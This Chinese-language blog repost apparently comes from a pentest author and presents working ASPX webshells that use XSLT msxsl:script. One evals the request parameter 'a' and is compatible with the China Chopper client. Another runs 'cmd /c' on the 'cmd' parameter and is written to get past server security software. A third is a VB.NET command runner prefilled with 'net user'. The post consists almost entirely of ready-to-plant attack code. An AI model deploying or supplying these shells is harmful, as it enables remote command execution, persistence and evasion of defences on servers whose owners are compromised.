Xsl Exec Webshell (aspx)

关于使用xsl的webshell以前已经有人发过了,比如aspx的一个webshell如下:

[sourcecode language="plain"]
<%@ Page Language="C#" Debug="true" %>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Xml"%>
<%@ import Namespace="System.Xml.Xsl"%>
<%
string xml=@"<?xml version=""1.0""?><root>test</root>";
string xslt=@"<?xml version='1.0'?>
<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
<msxsl:script language=""JScript"" implements-prefix=""zcg"">
<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
<![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]>
</msxsl:script>
<xsl:template match=""/root"">
<xsl:value-of select=""zcg:xml()""/>
</xsl:template>
</xsl:stylesheet>";
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslCompiledTransform xct=new XslCompiledTransform();
xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
xct.Transform(xmldoc,null,new MemoryStream());

%>
[/sourcecode]

密码为 a,这个webshell是可以用菜刀连接的,测试碰到这种情况:服务器有安全狗等防护软件,提交的各种数据包可能会拦截,而现在想要做的就是执行命令就可以了,为了方便,写了一个命令执行的webshell,可回显,可改密码,具体代码如下:

[sourcecode language="plain"]
<%@page language="C#"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Xml"%>
<%@ import Namespace="System.Xml.Xsl"%>
<%
string xml=@"<?xml version=""1.0""?><root>test</root>";
string xslt=@"<?xml version='1.0'?>
<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
<msxsl:script language=""JScript"" implements-prefix=""zcg"">
<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
<![CDATA[function xml(){
var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;
var command = Request.Item['cmd'];
var r = new ActiveXObject(""WScript.Shell"").Exec(""cmd /c ""+command);
var OutStream = r.StdOut;
var Str = """";
while (!OutStream.atEndOfStream) {
Str = Str + OutStream.readAll();
}
Response.Write(""
<pre>""+Str+""</pre>

"");
}]]>
</msxsl:script>
<xsl:template match=""/root"">
<xsl:value-of select=""zcg:xml()""/>
</xsl:template>
</xsl:stylesheet>";
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XsltSettings xslt_settings = new XsltSettings(false, true);
xslt_settings.EnableScript = true;
try{
XslCompiledTransform xct=new XslCompiledTransform();
xct.Load(xsldoc,xslt_settings,new XmlUrlResolver());
xct.Transform(xmldoc,null,new MemoryStream());
}
catch (Exception e){
Response.Write("Error");
}
%>
[/sourcecode]

密码为cmd,可自己改,测试如下图:
123.png
附带一个大马里面的命令执行:

[sourcecode language="plain"]
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20runat%3D%22server%22%3E%20%20%20%20%20%20%0A%20%0ASub%20RunCmd(Src%20As%20Object%2C%20E%20As%20EventArgs)%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20Dim%20myProcess%20As%20New%20Process()%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20Dim%20myProcessStartInfo%20As%20New%20ProcessStartInfo(xpath.text)%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20myProcessStartInfo.UseShellExecute%20%3D%20false%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20myProcessStartInfo.RedirectStandardOutput%20%3D%20true%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20myProcess.StartInfo%20%3D%20myProcessStartInfo%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20myProcessStartInfo.Arguments%3Dxcmd.text%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20myProcess.Start()%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%0A%20%20Dim%20myStreamReader%20As%20StreamReader%20%3D%20myProcess.StandardOutput%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20Dim%20myString%20As%20String%20%3D%20myStreamReader.Readtoend()%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20myProcess.Close()%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20mystring%3Dreplace(mystring%2C%22%3C%22%2C%22%26lt%3B%22)%20mystring%3Dreplace(mystring%2C%22%3E%22%2C%22%26gt%3B%22)%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20result.text%3D%20vbcrlf%20%26%20%22%3C%2Fp%3E%0A%3Cpre%3E%22%20%26%20mystring%20%26%20%22%3C%2Fpre%3E%0A%3Cp%3E%22%3Cbr%20%2F%3E%0AEnd%20Sub%3C%2Fp%3E%0A%3Cp%3E%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />

<html>
<body>
<form runat="server">

<asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>

<asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>

<asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>

<asp:Label id="result" runat="server"></asp:Label>
</form>

</body>
</html>
[/sourcecode]

https://github.com/Ridter/Pentest/

https://github.com/Ridter/Pentest/stargazers

文章出处:Evi1cg's blog   

原文链接:https://evi1cg.me/archives/Xsl_Exec_Webshell.html

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

3

相关文章

发表评论

电子邮件地址不会被公开。